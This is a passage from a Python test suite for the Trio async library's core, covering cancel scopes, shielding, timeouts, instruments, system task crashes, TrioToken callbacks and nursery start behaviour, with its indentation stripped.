("after", tasks["t2"])
},
{
("before", tasks["t1"]),
("after", tasks["t1"]),
("before", tasks["t2"]),
("after", tasks["t2"])
},
("after_run",),
] # yapf: disable
print(list(r.filter_tasks(tasks.values())))
check_sequence_matches(list(r.filter_tasks(tasks.values())), expected)
def test_null_instrument():
# undefined instrument methods are skipped
class NullInstrument:
pass
async def main():
await _core.checkpoint()
_core.run(main, instruments=[NullInstrument()])
def test_instrument_before_after_run():
record = []
class BeforeAfterRun:
def before_run(self):
record.append("before_run")
def after_run(self):
record.append("after_run")
async def main():
pass
_core.run(main, instruments=[BeforeAfterRun()])
assert record == ["before_run", "after_run"]
def test_instrument_task_spawn_exit():
record = []
class SpawnExitRecorder:
def task_spawned(self, task):
record.append(("spawned", task))
def task_exited(self, task):
record.append(("exited", task))
async def main():
return _core.current_task()
main_task = _core.run(main, instruments=[SpawnExitRecorder()])
assert ("spawned", main_task) in record
assert ("exited", main_task) in record
# This test also tests having a crash before the initial task is even spawned,
# which is very difficult to handle.
def test_instruments_crash(caplog):
record = []
class BrokenInstrument:
def task_scheduled(self, task):
record.append("scheduled")
raise ValueError("oops")
def close(self):
# Shouldn't be called -- tests that the instrument disabling logic
# works right.
record.append("closed") # pragma: no cover
async def main():
record.append("main ran")
return _core.current_task()
r = TaskRecorder()
main_task = _core.run(main, instruments=[r, BrokenInstrument()])
assert record == ["scheduled", "main ran"]
# the TaskRecorder kept going throughout, even though the BrokenInstrument
# was disabled
assert ("after", main_task) in r.record
assert ("after_run",) in r.record
# And we got a log message
exc_type, exc_value, exc_traceback = caplog.records[0].exc_info
assert exc_type is ValueError
assert str(exc_value) == "oops"
assert "Instrument has been disabled" in caplog.records[0].message
async def test_cancel_scope_repr(mock_clock):
scope = _core.CancelScope()
assert "unbound" in repr(scope)
with scope:
assert "active" in repr(scope)
scope.deadline = _core.current_time() - 1
assert "deadline is 1.00 seconds ago" in repr(scope)
scope.deadline = _core.current_time() + 10
assert "deadline is 10.00 seconds from now" in repr(scope)
# when not in async context, can't get the current time
assert "deadline" not in await run_sync_in_worker_thread(repr, scope)
scope.cancel()
assert "cancelled" in repr(scope)
assert "exited" in repr(scope)
def test_cancel_points():
async def main1():
with _core.CancelScope() as scope:
await _core.checkpoint_if_cancelled()
scope.cancel()
with pytest.raises(_core.Cancelled):
await _core.checkpoint_if_cancelled()
_core.run(main1)
async def main2():
with _core.CancelScope() as scope:
await _core.checkpoint()
scope.cancel()
with pytest.raises(_core.Cancelled):
await _core.checkpoint()
_core.run(main2)
async def main3():
with _core.CancelScope() as scope:
scope.cancel()
with pytest.raises(_core.Cancelled):
await sleep_forever()
_core.run(main3)
async def main4():
with _core.CancelScope() as scope:
scope.cancel()
await _core.cancel_shielded_checkpoint()
await _core.cancel_shielded_checkpoint()
with pytest.raises(_core.Cancelled):
await _core.checkpoint()
_core.run(main4)
async def test_cancel_edge_cases():
with _core.CancelScope() as scope:
# Two cancels in a row -- idempotent
scope.cancel()
scope.cancel()
await _core.checkpoint()
assert scope.cancel_called
assert scope.cancelled_caught
with _core.CancelScope() as scope:
# Check level-triggering
scope.cancel()
with pytest.raises(_core.Cancelled):
await sleep_forever()
with pytest.raises(_core.Cancelled):
await sleep_forever()
async def test_cancel_scope_multierror_filtering():
async def crasher():
raise KeyError
try:
with _core.CancelScope() as outer:
try:
async with _core.open_nursery() as nursery:
# Two children that get cancelled by the nursery scope
nursery.start_soon(sleep_forever) # t1
nursery.start_soon(sleep_forever) # t2
nursery.cancel_scope.cancel()
with _core.CancelScope(shield=True):
await wait_all_tasks_blocked()
# One child that gets cancelled by the outer scope
nursery.start_soon(sleep_forever) # t3
outer.cancel()
# And one that raises a different error
nursery.start_soon(crasher) # t4
# and then our __aexit__ also receives an outer Cancelled
except _core.MultiError as multi_exc:
# Since the outer scope became cancelled before the
# nursery block exited, all cancellations inside the
# nursery block continue propagating to reach the
# outer scope.
assert len(multi_exc.exceptions) == 5
summary = {}
for exc in multi_exc.exceptions:
summary.setdefault(type(exc), 0)
summary[type(exc)] += 1
assert summary == {_core.Cancelled: 4, KeyError: 1}
raise
except AssertionError: # pragma: no cover
raise
except BaseException as exc:
# This is ouside the outer scope, so all the Cancelled
# exceptions should have been absorbed, leaving just a regular
# KeyError from crasher()
assert type(exc) is KeyError
else: # pragma: no cover
assert False
async def test_precancelled_task():
# a task that gets spawned into an already-cancelled nursery should begin
# execution (https://github.com/python-trio/trio/issues/41), but get a
# cancelled error at its first blocking call.
record = []
async def blocker():
record.append("started")
await sleep_forever()
async with _core.open_nursery() as nursery:
nursery.cancel_scope.cancel()
nursery.start_soon(blocker)
assert record == ["started"]
async def test_cancel_shielding():
with _core.CancelScope() as outer:
with _core.CancelScope() as inner:
await _core.checkpoint()
outer.cancel()
with pytest.raises(_core.Cancelled):
await _core.checkpoint()
assert inner.shield is False
with pytest.raises(TypeError):
inner.shield = "hello"
assert inner.shield is False
inner.shield = True
assert inner.shield is True
# shield protects us from 'outer'
await _core.checkpoint()
with _core.CancelScope() as innerest:
innerest.cancel()
# but it doesn't protect us from scope inside inner
with pytest.raises(_core.Cancelled):
await _core.checkpoint()
await _core.checkpoint()
inner.shield = False
# can disable shield again
with pytest.raises(_core.Cancelled):
await _core.checkpoint()
# re-enable shield
inner.shield = True
await _core.checkpoint()
# shield doesn't protect us from inner itself
inner.cancel()
# This should now raise, but be absorbed by the inner scope
await _core.checkpoint()
assert inner.cancelled_caught
# make sure that cancellation propagates immediately to all children
async def test_cancel_inheritance():
record = set()
async def leaf(ident):
try:
await sleep_forever()
except _core.Cancelled:
record.add(ident)
async def worker(ident):
async with _core.open_nursery() as nursery:
nursery.start_soon(leaf, ident + "-l1")
nursery.start_soon(leaf, ident + "-l2")
async with _core.open_nursery() as nursery:
nursery.start_soon(worker, "w1")
nursery.start_soon(worker, "w2")
nursery.cancel_scope.cancel()
assert record == {"w1-l1", "w1-l2", "w2-l1", "w2-l2"}
async def test_cancel_shield_abort():
with _core.CancelScope() as outer:
async with _core.open_nursery() as nursery:
outer.cancel()
nursery.cancel_scope.shield = True
# The outer scope is cancelled, but this task is protected by the
# shield, so it manages to get to sleep
record = []
async def sleeper():
record.append("sleeping")
try:
await sleep_forever()
except _core.Cancelled:
record.append("cancelled")
nursery.start_soon(sleeper)
await wait_all_tasks_blocked()
assert record == ["sleeping"]
# now when we unshield, it should abort the sleep.
nursery.cancel_scope.shield = False
# wait for the task to finish before entering the nursery
# __aexit__, because __aexit__ could make it spuriously look like
# this worked by cancelling the nursery scope. (When originally
# written, without these last few lines, the test spuriously
# passed, even though shield assignment was buggy.)
with _core.CancelScope(shield=True):
await wait_all_tasks_blocked()
assert record == ["sleeping", "cancelled"]
async def test_basic_timeout(mock_clock):
start = _core.current_time()
with _core.CancelScope() as scope:
assert scope.deadline == inf
scope.deadline = start + 1
assert scope.deadline == start + 1
assert not scope.cancel_called
mock_clock.jump(2)
await _core.checkpoint()
await _core.checkpoint()
await _core.checkpoint()
assert not scope.cancel_called
start = _core.current_time()
with _core.CancelScope(deadline=start + 1) as scope:
mock_clock.jump(2)
await sleep_forever()
# But then the scope swallowed the exception... but we can still see it
# here:
assert scope.cancel_called
assert scope.cancelled_caught
# changing deadline
start = _core.current_time()
with _core.CancelScope() as scope:
await _core.checkpoint()
scope.deadline = start + 10
await _core.checkpoint()
mock_clock.jump(5)
await _core.checkpoint()
scope.deadline = start + 1
with pytest.raises(_core.Cancelled):
await _core.checkpoint()
with pytest.raises(_core.Cancelled):
await _core.checkpoint()
@pytest.mark.filterwarnings(
"ignore:.*trio.open_cancel_scope:trio.TrioDeprecationWarning"
)
async def test_cancel_scope_deprecated(recwarn):
assert isinstance(_core.open_cancel_scope(), _core.CancelScope)
async def test_cancel_scope_nesting():
# Nested scopes: if two triggering at once, the outer one wins
with _core.CancelScope() as scope1:
with _core.CancelScope() as scope2:
with _core.CancelScope() as scope3:
scope3.cancel()
scope2.cancel()
await sleep_forever()
assert scope3.cancel_called
assert not scope3.cancelled_caught
assert scope2.cancel_called
assert scope2.cancelled_caught
assert not scope1.cancel_called
assert not scope1.cancelled_caught
# shielding
with _core.CancelScope() as scope1:
with _core.CancelScope() as scope2:
scope1.cancel()
with pytest.raises(_core.Cancelled):
await _core.checkpoint()
with pytest.raises(_core.Cancelled):
await _core.checkpoint()
scope2.shield = True
await _core.checkpoint()
scope2.cancel()
with pytest.raises(_core.Cancelled):
await _core.checkpoint()
# if a scope is pending, but then gets popped off the stack, then it
# isn't delivered
with _core.CancelScope() as scope:
scope.cancel()
await _core.cancel_shielded_checkpoint()
await _core.checkpoint()
assert not scope.cancelled_caught
async def test_cancel_unbound():
async def sleep_until_cancelled(scope):
with scope, fail_after(1):
await sleep_forever()
# Cancel before entry
scope = _core.CancelScope()
scope.cancel()
async with _core.open_nursery() as nursery:
nursery.start_soon(sleep_until_cancelled, scope)
# Cancel after entry
scope = _core.CancelScope()
async with _core.open_nursery() as nursery:
nursery.start_soon(sleep_until_cancelled, scope)
await wait_all_tasks_blocked()
scope.cancel()
# Shield before entry
scope = _core.CancelScope()
scope.shield = True
with _core.CancelScope() as outer, scope:
outer.cancel()
await _core.checkpoint()
scope.shield = False
with pytest.raises(_core.Cancelled):
await _core.checkpoint()
# Can't reuse
with _core.CancelScope() as scope:
await _core.checkpoint()
scope.cancel()
await _core.checkpoint()
assert scope.cancel_called
assert not scope.cancelled_caught
with pytest.raises(RuntimeError) as exc_info:
with scope:
pass # pragma: no cover
assert "single 'with' block" in str(exc_info.value)
# Can't reenter
with _core.CancelScope() as scope:
with pytest.raises(RuntimeError) as exc_info:
with scope:
pass # pragma: no cover
assert "single 'with' block" in str(exc_info.value)
# Can't enter from multiple tasks simultaneously
scope = _core.CancelScope()
async def enter_scope():
with scope:
await sleep_forever()
async with _core.open_nursery() as nursery:
nursery.start_soon(enter_scope, name="this one")
await wait_all_tasks_blocked()
with pytest.raises(RuntimeError) as exc_info:
with scope:
pass # pragma: no cover
assert "single 'with' block" in str(exc_info.value)
nursery.cancel_scope.cancel()
# If not yet entered, cancel_called is true when the deadline has passed
# even if cancel() hasn't been called yet
scope = _core.CancelScope(deadline=_core.current_time() + 1)
assert not scope.cancel_called
scope.deadline -= 1
assert scope.cancel_called
scope.deadline += 1
assert scope.cancel_called # never become un-cancelled
async def test_timekeeping():
# probably a good idea to use a real clock for *one* test anyway...
TARGET = 0.1
# give it a few tries in case of random CI server flakiness
for _ in range(4):
real_start = time.perf_counter()
with _core.CancelScope() as scope:
scope.deadline = _core.current_time() + TARGET
await sleep_forever()
real_duration = time.perf_counter() - real_start
accuracy = real_duration / TARGET
print(accuracy)
# Actual time elapsed should always be >= target time
# (== is possible depending on system behavior for time.perf_counter resolution
if 1.0 <= accuracy < 2: # pragma: no branch
break
else: # pragma: no cover
assert False
async def test_failed_abort():
stubborn_task = [None]
stubborn_scope = [None]
record = []
async def stubborn_sleeper():
stubborn_task[0] = _core.current_task()
with _core.CancelScope() as scope:
stubborn_scope[0] = scope
record.append("sleep")
x = await _core.wait_task_rescheduled(lambda _: _core.Abort.FAILED)
assert x == 1
record.append("woke")
try:
await _core.checkpoint_if_cancelled()
except _core.Cancelled:
record.append("cancelled")
async with _core.open_nursery() as nursery:
nursery.start_soon(stubborn_sleeper)
await wait_all_tasks_blocked()
assert record == ["sleep"]
stubborn_scope[0].cancel()
await wait_all_tasks_blocked()
# cancel didn't wake it up
assert record == ["sleep"]
# wake it up again by hand
_core.reschedule(stubborn_task[0], outcome.Value(1))
assert record == ["sleep", "woke", "cancelled"]
def test_broken_abort():
async def main():
# These yields are here to work around an annoying warning -- we're
# going to crash the main loop, and if we (by chance) do this before
# the run_sync_soon task runs for the first time, then Python gives us
# a spurious warning about it not being awaited. (I mean, the warning
# is correct, but here we're testing our ability to deliver a
# semi-meaningful error after things have gone totally pear-shaped, so
# it's not relevant.) By letting the run_sync_soon_task run first, we
# avoid the warning.
await _core.checkpoint()
await _core.checkpoint()
with _core.CancelScope() as scope:
scope.cancel()
# None is not a legal return value here
await _core.wait_task_rescheduled(lambda _: None)
with pytest.raises(_core.TrioInternalError):
_core.run(main)
# Because this crashes, various __del__ methods print complaints on
# stderr. Make sure that they get run now, so the output is attached to
# this test.
gc_collect_harder()
def test_error_in_run_loop():
# Blow stuff up real good to check we at least get a TrioInternalError
async def main():
task = _core.current_task()
task._schedule_points = "hello!"
await _core.checkpoint()
with ignore_coroutine_never_awaited_warnings():
with pytest.raises(_core.TrioInternalError):
_core.run(main)
async def test_spawn_system_task():
record = []
async def system_task(x):
record.append(("x", x))
record.append(("ki", _core.currently_ki_protected()))
await _core.checkpoint()
_core.spawn_system_task(system_task, 1)
await wait_all_tasks_blocked()
assert record == [("x", 1), ("ki", True)]
# intentionally make a system task crash
def test_system_task_crash():
async def crasher():
raise KeyError
async def main():
_core.spawn_system_task(crasher)
await sleep_forever()
with pytest.raises(_core.TrioInternalError):
_core.run(main)
def test_system_task_crash_MultiError():
async def crasher1():
raise KeyError
async def crasher2():
raise ValueError
async def system_task():
async with _core.open_nursery() as nursery:
nursery.start_soon(crasher1)
nursery.start_soon(crasher2)
async def main():
_core.spawn_system_task(system_task)
await sleep_forever()
with pytest.raises(_core.TrioInternalError) as excinfo:
_core.run(main)
me = excinfo.value.__cause__
assert isinstance(me, _core.MultiError)
assert len(me.exceptions) == 2
for exc in me.exceptions:
assert isinstance(exc, (KeyError, ValueError))
def test_system_task_crash_plus_Cancelled():
# Set up a situation where a system task crashes with a
# MultiError([Cancelled, ValueError])
async def crasher():
try:
await sleep_forever()
except _core.Cancelled:
raise ValueError
async def cancelme():
await sleep_forever()
async def system_task():
async with _core.open_nursery() as nursery:
nursery.start_soon(crasher)
nursery.start_soon(cancelme)
async def main():
_core.spawn_system_task(system_task)
# then we exit, triggering a cancellation
with pytest.raises(_core.TrioInternalError) as excinfo:
_core.run(main)
assert type(excinfo.value.__cause__) is ValueError
def test_system_task_crash_KeyboardInterrupt():
async def ki():
raise KeyboardInterrupt
async def main():
_core.spawn_system_task(ki)
await sleep_forever()
with pytest.raises(_core.TrioInternalError) as excinfo:
_core.run(main)
assert isinstance(excinfo.value.__cause__, KeyboardInterrupt)
# This used to fail because checkpoint was a yield followed by an immediate
# reschedule. So we had:
# 1) this task yields
# 2) this task is rescheduled
# ...
# 3) next iteration of event loop starts, runs timeouts
# 4) this task has timed out
# 5) ...but it's on the run queue, so the timeout is queued to be delivered
# the next time that it's blocked.
async def test_yield_briefly_checks_for_timeout(mock_clock):
with _core.CancelScope(deadline=_core.current_time() + 5):
await _core.checkpoint()
with pytest.raises(_core.Cancelled):
mock_clock.jump(10)
await _core.checkpoint()
# This tests that sys.exc_info is properly saved/restored as we swap between
# tasks. It turns out that the interpreter automagically handles this for us
# so there's no special code in Trio required to pass this test, but it's
# still nice to know that it works :-).
#
# Update: it turns out I was right to be nervous! see the next test...
async def test_exc_info():
record = []
seq = Sequencer()
async def child1():
with pytest.raises(ValueError) as excinfo:
try:
async with seq(0):
pass # we don't yield until seq(2) below
record.append("child1 raise")
raise ValueError("child1")
except ValueError:
record.append("child1 sleep")
async with seq(2):
pass
assert "child2 wake" in record
record.append("child1 re-raise")
raise
assert excinfo.value.__context__ is None
record.append("child1 success")
async def child2():
with pytest.raises(KeyError) as excinfo:
async with seq(1):
pass # we don't yield until seq(3) below
assert "child1 sleep" in record
record.append("child2 wake")
assert sys.exc_info() == (None, None, None)
try:
raise KeyError("child2")
except KeyError:
record.append("child2 sleep again")
async with seq(3):
pass
assert "child1 re-raise" in record
record.append("child2 re-raise")
raise
assert excinfo.value.__context__ is None
record.append("child2 success")
async with _core.open_nursery() as nursery:
nursery.start_soon(child1)
nursery.start_soon(child2)
assert record == [
"child1 raise", "child1 sleep", "child2 wake", "child2 sleep again",
"child1 re-raise", "child1 success", "child2 re-raise",
"child2 success"
]
# At least as of CPython 3.6, using .throw() to raise an exception inside a
# coroutine/generator causes the original exc_info state to be lost, so things
# like re-raising and exception chaining are broken.
#
# https://bugs.python.org/issue29587
async def test_exc_info_after_yield_error():
child_task = None
async def child():
nonlocal child_task
child_task = _core.current_task()
try:
raise KeyError
except Exception:
try:
await sleep_forever()
except Exception:
pass
raise
with pytest.raises(KeyError):
async with _core.open_nursery() as nursery:
nursery.start_soon(child)
await wait_all_tasks_blocked()
_core.reschedule(child_task, outcome.Error(ValueError()))
# Similar to previous test -- if the ValueError() gets sent in via 'throw',
# then Python's normal implicit chaining stuff is broken.
async def test_exception_chaining_after_yield_error():
child_task = None
async def child():
nonlocal child_task
child_task = _core.current_task()
try:
raise KeyError
except Exception:
await sleep_forever()
with pytest.raises(ValueError) as excinfo:
async with _core.open_nursery() as nursery:
nursery.start_soon(child)
await wait_all_tasks_blocked()
_core.reschedule(child_task, outcome.Error(ValueError()))
assert isinstance(excinfo.value.__context__, KeyError)
async def test_nursery_exception_chaining_doesnt_make_context_loops():
async def crasher():
raise KeyError
with pytest.raises(_core.MultiError) as excinfo:
async with _core.open_nursery() as nursery:
nursery.start_soon(crasher)
raise ValueError
# the MultiError should not have the KeyError or ValueError as context
assert excinfo.value.__context__ is None
def test_TrioToken_identity():
async def get_and_check_token():
token = _core.current_trio_token()
# Two calls in the same run give the same object
assert token is _core.current_trio_token()
return token
t1 = _core.run(get_and_check_token)
t2 = _core.run(get_and_check_token)
assert t1 is not t2
assert t1 != t2
assert hash(t1) != hash(t2)
async def test_TrioToken_run_sync_soon_basic():
record = []
def cb(x):
record.append(("cb", x))
token = _core.current_trio_token()
token.run_sync_soon(cb, 1)
assert not record
await wait_all_tasks_blocked()
assert record == [("cb", 1)]
def test_TrioToken_run_sync_soon_too_late():
token = None
async def main():
nonlocal token
token = _core.current_trio_token()
_core.run(main)
assert token is not None
with pytest.raises(_core.RunFinishedError):
token.run_sync_soon(lambda: None) # pragma: no branch
async def test_TrioToken_run_sync_soon_idempotent():
record = []
def cb(x):
record.append(x)
token = _core.current_trio_token()
token.run_sync_soon(cb, 1)
token.run_sync_soon(cb, 1, idempotent=True)
token.run_sync_soon(cb, 1, idempotent=True)
token.run_sync_soon(cb, 1, idempotent=True)
token.run_sync_soon(cb, 2, idempotent=True)
token.run_sync_soon(cb, 2, idempotent=True)
await wait_all_tasks_blocked()
assert len(record) == 3
assert sorted(record) == [1, 1, 2]
# ordering test
record = []
for _ in range(3):
for i in range(100):
token.run_sync_soon(cb, i, idempotent=True)
await wait_all_tasks_blocked()
if (
sys.version_info < (3, 6)
and platform.python_implementation() == "CPython"
):
# no order guarantees
record.sort()
# Otherwise, we guarantee FIFO
assert record == list(range(100))
def test_TrioToken_run_sync_soon_idempotent_requeue():
# We guarantee that if a call has finished, queueing it again will call it
# again. Due to the lack of synchronization, this effectively means that
# we have to guarantee that once a call has *started*, queueing it again
# will call it again. Also this is much easier to test :-)
record = []
def redo(token):
record.append(None)
try:
token.run_sync_soon(redo, token, idempotent=True)
except _core.RunFinishedError:
pass
async def main():
token = _core.current_trio_token()
token.run_sync_soon(redo, token, idempotent=True)
await _core.checkpoint()
await _core.checkpoint()
await _core.checkpoint()
_core.run(main)
assert len(record) >= 2
def test_TrioToken_run_sync_soon_after_main_crash():
record = []
async def main():
token = _core.current_trio_token()
# After main exits but before finally cleaning up, callback processed
# normally
token.run_sync_soon(lambda: record.append("sync-cb"))
raise ValueError
with pytest.raises(ValueError):
_core.run(main)
assert record == ["sync-cb"]
def test_TrioToken_run_sync_soon_crashes():
record = set()
async def main():
token = _core.current_trio_token()
token.run_sync_soon(lambda: dict()["nope"])
# check that a crashing run_sync_soon callback doesn't stop further
# calls to run_sync_soon
token.run_sync_soon(lambda: record.add("2nd run_sync_soon ran"))
try:
await sleep_forever()
except _core.Cancelled:
record.add("cancelled!")
with pytest.raises(_core.TrioInternalError) as excinfo:
_core.run(main)
assert type(excinfo.value.__cause__) is KeyError
assert record == {"2nd run_sync_soon ran", "cancelled!"}
async def test_TrioToken_run_sync_soon_FIFO():
N = 100
record = []
token = _core.current_trio_token()
for i in range(N):
token.run_sync_soon(lambda j: record.append(j), i)
await wait_all_tasks_blocked()
assert record == list(range(N))
def test_TrioToken_run_sync_soon_starvation_resistance():
# Even if we push callbacks in from callbacks, so that the callback queue
# never empties out, then we still can't starve out other tasks from
# running.
token = None
record = []
def naughty_cb(i):
nonlocal token
try:
token.run_sync_soon(naughty_cb, i + 1)
except _core.RunFinishedError:
record.append(("run finished", i))
async def main():
nonlocal token
token = _core.current_trio_token()
token.run_sync_soon(naughty_cb, 0)
record.append("starting")
for _ in range(20):
await _core.checkpoint()
_core.run(main)
assert len(record) == 2
assert record[0] == "starting"
assert record[1][0] == "run finished"
assert record[1][1] >= 19
def test_TrioToken_run_sync_soon_threaded_stress_test():
cb_counter = 0
def cb():
nonlocal cb_counter
cb_counter += 1
def stress_thread(token):
try:
while True:
token.run_sync_soon(cb)
time.sleep(0)
except _core.RunFinishedError:
pass
async def main():
token = _core.current_trio_token()
thread = threading.Thread(target=stress_thread, args=(token,))
thread.start()
for _ in range(10):
start_value = cb_counter
while cb_counter == start_value:
await sleep(0.01)
_core.run(main)
print(cb_counter)
async def test_TrioToken_run_sync_soon_massive_queue():
# There are edge cases in the wakeup fd code when the wakeup fd overflows,
# so let's try to make that happen. This is also just a good stress test
# in general. (With the current-as-of-2017-02-14 code using a socketpair
# with minimal buffer, Linux takes 6 wakeups to fill the buffer and macOS
# takes 1 wakeup. So 1000 is overkill if anything. Windows OTOH takes
# ~600,000 wakeups, but has the same code paths...)
COUNT = 1000
token = _core.current_trio_token()
counter = [0]
def cb(i):
# This also tests FIFO ordering of callbacks
assert counter[0] == i
counter[0] += 1
for i in range(COUNT):
token.run_sync_soon(cb, i)
await wait_all_tasks_blocked()
assert counter[0] == COUNT
async def test_slow_abort_basic():
with _core.CancelScope() as scope:
scope.cancel()
with pytest.raises(_core.Cancelled):
task = _core.current_task()
token = _core.current_trio_token()
def slow_abort(raise_cancel):
result = outcome.capture(raise_cancel)
token.run_sync_soon(_core.reschedule, task, result)
return _core.Abort.FAILED
await _core.wait_task_rescheduled(slow_abort)
async def test_slow_abort_edge_cases():
record = []
async def slow_aborter():
task = _core.current_task()
token = _core.current_trio_token()
def slow_abort(raise_cancel):
record.append("abort-called")
result = outcome.capture(raise_cancel)
token.run_sync_soon(_core.reschedule, task, result)
return _core.Abort.FAILED
with pytest.raises(_core.Cancelled):
record.append("sleeping")
await _core.wait_task_rescheduled(slow_abort)
record.append("cancelled")
# blocking again, this time it's okay, because we're shielded
await _core.checkpoint()
record.append("done")
with _core.CancelScope() as outer1:
with _core.CancelScope() as outer2:
async with _core.open_nursery() as nursery:
# So we have a task blocked on an operation that can't be
# aborted immediately
nursery.start_soon(slow_aborter)
await wait_all_tasks_blocked()
assert record == ["sleeping"]
# And then we cancel it, so the abort callback gets run
outer1.cancel()
assert record == ["sleeping", "abort-called"]
# In fact that happens twice! (This used to cause the abort
# callback to be run twice)
outer2.cancel()
assert record == ["sleeping", "abort-called"]
# But then before the abort finishes, the task gets shielded!
nursery.cancel_scope.shield = True
# Now we wait for the task to finish...
# The cancellation was delivered, even though it was shielded
assert record == ["sleeping", "abort-called", "cancelled", "done"]
async def test_task_tree_introspection():
tasks = {}
nurseries = {}
async def parent():
tasks["parent"] = _core.current_task()
assert tasks["parent"].child_nurseries == []
async with _core.open_nursery() as nursery1:
async with _core.open_nursery() as nursery2:
assert tasks["parent"].child_nurseries == [nursery1, nursery2]
assert tasks["parent"].child_nurseries == []
async with _core.open_nursery() as nursery:
nurseries["parent"] = nursery
nursery.start_soon(child1)
# Upward links survive after tasks/nurseries exit
assert nurseries["parent"].parent_task is tasks["parent"]
assert tasks["child1"].parent_nursery is nurseries["parent"]
assert nurseries["child1"].parent_task is tasks["child1"]
assert tasks["child2"].parent_nursery is nurseries["child1"]
nursery = _core.current_task().parent_nursery
# Make sure that chaining eventually gives a nursery of None (and not,
# for example, an error)
while nursery is not None:
t = nursery.parent_task
nursery = t.parent_nursery
async def child2():
tasks["child2"] = _core.current_task()
assert tasks["parent"].child_nurseries == [nurseries["parent"]]
assert nurseries["parent"].child_tasks == frozenset({tasks["child1"]})
assert tasks["child1"].child_nurseries == [nurseries["child1"]]
assert nurseries["child1"].child_tasks == frozenset({tasks["child2"]})
assert tasks["child2"].child_nurseries == []
async def child1():
tasks["child1"] = _core.current_task()
async with _core.open_nursery() as nursery:
nurseries["child1"] = nursery
nursery.start_soon(child2)
async with _core.open_nursery() as nursery:
nursery.start_soon(parent)
async def test_nursery_closure():
async def child1(nursery):
# We can add new tasks to the nursery even after entering __aexit__,
# so long as there are still tasks running
nursery.start_soon(child2)
async def child2():
pass
async with _core.open_nursery() as nursery:
nursery.start_soon(child1, nursery)
# But once we've left __aexit__, the nursery is closed
with pytest.raises(RuntimeError):
nursery.start_soon(child2)
async def test_spawn_name():
async def func1(expected):
task = _core.current_task()
assert expected in task.name
async def func2(): # pragma: no cover
pass
async with _core.open_nursery() as nursery:
for spawn_fn in [nursery.start_soon, _core.spawn_system_task]:
spawn_fn(func1, "func1")
spawn_fn(func1, "func2", name=func2)
spawn_fn(func1, "func3", name="func3")
spawn_fn(functools.partial(func1, "func1"))
spawn_fn(func1, "object", name=object())
async def test_current_effective_deadline(mock_clock):
assert _core.current_effective_deadline() == inf
with _core.CancelScope(deadline=5) as scope1:
with _core.CancelScope(deadline=10) as scope2:
assert _core.current_effective_deadline() == 5
scope2.deadline = 3
assert _core.current_effective_deadline() == 3
scope2.deadline = 10
assert _core.current_effective_deadline() == 5
scope2.shield = True
assert _core.current_effective_deadline() == 10
scope2.shield = False
assert _core.current_effective_deadline() == 5
scope1.cancel()
assert _core.current_effective_deadline() == -inf
scope2.shield = True
assert _core.current_effective_deadline() == 10
assert _core.current_effective_deadline() == -inf
assert _core.current_effective_deadline() == inf
def test_nice_error_on_bad_calls_to_run_or_spawn():
def bad_call_run(*args):
_core.run(*args)
def bad_call_spawn(*args):
async def main():
async with _core.open_nursery() as nursery:
nursery.start_soon(*args)
_core.run(main)
class Deferred:
"Just kidding"
with ignore_coroutine_never_awaited_warnings():
for bad_call in bad_call_run, bad_call_spawn:
async def f(): # pragma: no cover
pass
with pytest.raises(TypeError) as excinfo:
bad_call(f())
assert "expecting an async function" in str(excinfo.value)
import asyncio
@asyncio.coroutine
def generator_based_coro(): # pragma: no cover
yield from asyncio.sleep(1)
with pytest.raises(TypeError) as excinfo:
bad_call(generator_based_coro())
assert "asyncio" in str(excinfo.value)
with pytest.raises(TypeError) as excinfo:
bad_call(asyncio.Future())
assert "asyncio" in str(excinfo.value)
with pytest.raises(TypeError) as excinfo:
bad_call(lambda: asyncio.Future())
assert "asyncio" in str(excinfo.value)
with pytest.raises(TypeError) as excinfo:
bad_call(Deferred())
assert "twisted" in str(excinfo.value)
with pytest.raises(TypeError) as excinfo:
bad_call(lambda: Deferred())
assert "twisted" in str(excinfo.value)
with pytest.raises(TypeError) as excinfo:
bad_call(len, [1, 2, 3])
assert "appears to be synchronous" in str(excinfo.value)
@async_generator
async def async_gen(arg): # pragma: no cover
pass
with pytest.raises(TypeError) as excinfo:
bad_call(async_gen, 0)
msg = "expected an async function but got an async generator"
assert msg in str(excinfo.value)
# Make sure no references are kept around to keep anything alive
del excinfo
def test_calling_asyncio_function_gives_nice_error():
async def misguided():
import asyncio
await asyncio.Future()
with pytest.raises(TypeError) as excinfo:
_core.run(misguided)
assert "asyncio" in str(excinfo.value)
async def test_trivial_yields():
with assert_checkpoints():
await _core.checkpoint()
with assert_checkpoints():
await _core.checkpoint_if_cancelled()
await _core.cancel_shielded_checkpoint()
with assert_checkpoints():
async with _core.open_nursery():
pass
with _core.CancelScope() as cancel_scope:
cancel_scope.cancel()
with pytest.raises(_core.MultiError) as excinfo:
async with _core.open_nursery():
raise KeyError
assert len(excinfo.value.exceptions) == 2
assert set(type(e) for e in excinfo.value.exceptions) == {
KeyError, _core.Cancelled
}
async def test_nursery_start(autojump_clock):
async def no_args(): # pragma: no cover
pass
# Errors in calling convention get raised immediately from start
async with _core.open_nursery() as nursery:
with pytest.raises(TypeError):
await nursery.start(no_args)
async def sleep_then_start(
seconds, *, task_status=_core.TASK_STATUS_IGNORED
):
repr(task_status) # smoke test
await sleep(seconds)
task_status.started(seconds)
await sleep(seconds)
# Basic happy-path check: start waits for the task to call started(), then
# returns, passes back the value, and the given nursery then waits for it
# to exit.
for seconds in [1, 2]:
async with _core.open_nursery() as nursery:
assert len(nursery.child_tasks) == 0
t0 = _core.current_time()
assert await nursery.start(sleep_then_start, seconds) == seconds
assert _core.current_time() - t0 == seconds
assert len(nursery.child_tasks) == 1
assert _core.current_time() - t0 == 2 * seconds
# Make sure TASK_STATUS_IGNORED works so task function can be called
# directly
t0 = _core.current_time()
await sleep_then_start(3)
assert _core.current_time() - t0 == 2 * 3
# calling started twice
async def double_started(task_status=_core.TASK_STATUS_IGNORED):
task_status.started()
with pytest.raises(RuntimeError):
task_status.started()
async with _core.open_nursery() as nursery:
await nursery.start(double_started)
# child crashes before calling started -> error comes out of .start()
async def raise_keyerror(task_status=_core.TASK_STATUS_IGNORED):
raise KeyError("oops")
async with _core.open_nursery() as nursery:
with pytest.raises(KeyError):
await nursery.start(raise_keyerror)
# child exiting cleanly before calling started -> triggers a RuntimeError
async def nothing(task_status=_core.TASK_STATUS_IGNORED):
return
async with _core.open_nursery() as nursery:
with pytest.raises(RuntimeError) as excinfo:
await nursery.start(nothing)
assert "exited without calling" in str(excinfo.value)
# if the call to start() is cancelled, then the call to started() does
# nothing -- the child keeps executing under start(). The value it passed
# is ignored; start() raises Cancelled.
async def just_started(task_status=_core.TASK_STATUS_IGNORED):
task_status.started("hi")
async with _core.open_nursery() as nursery:
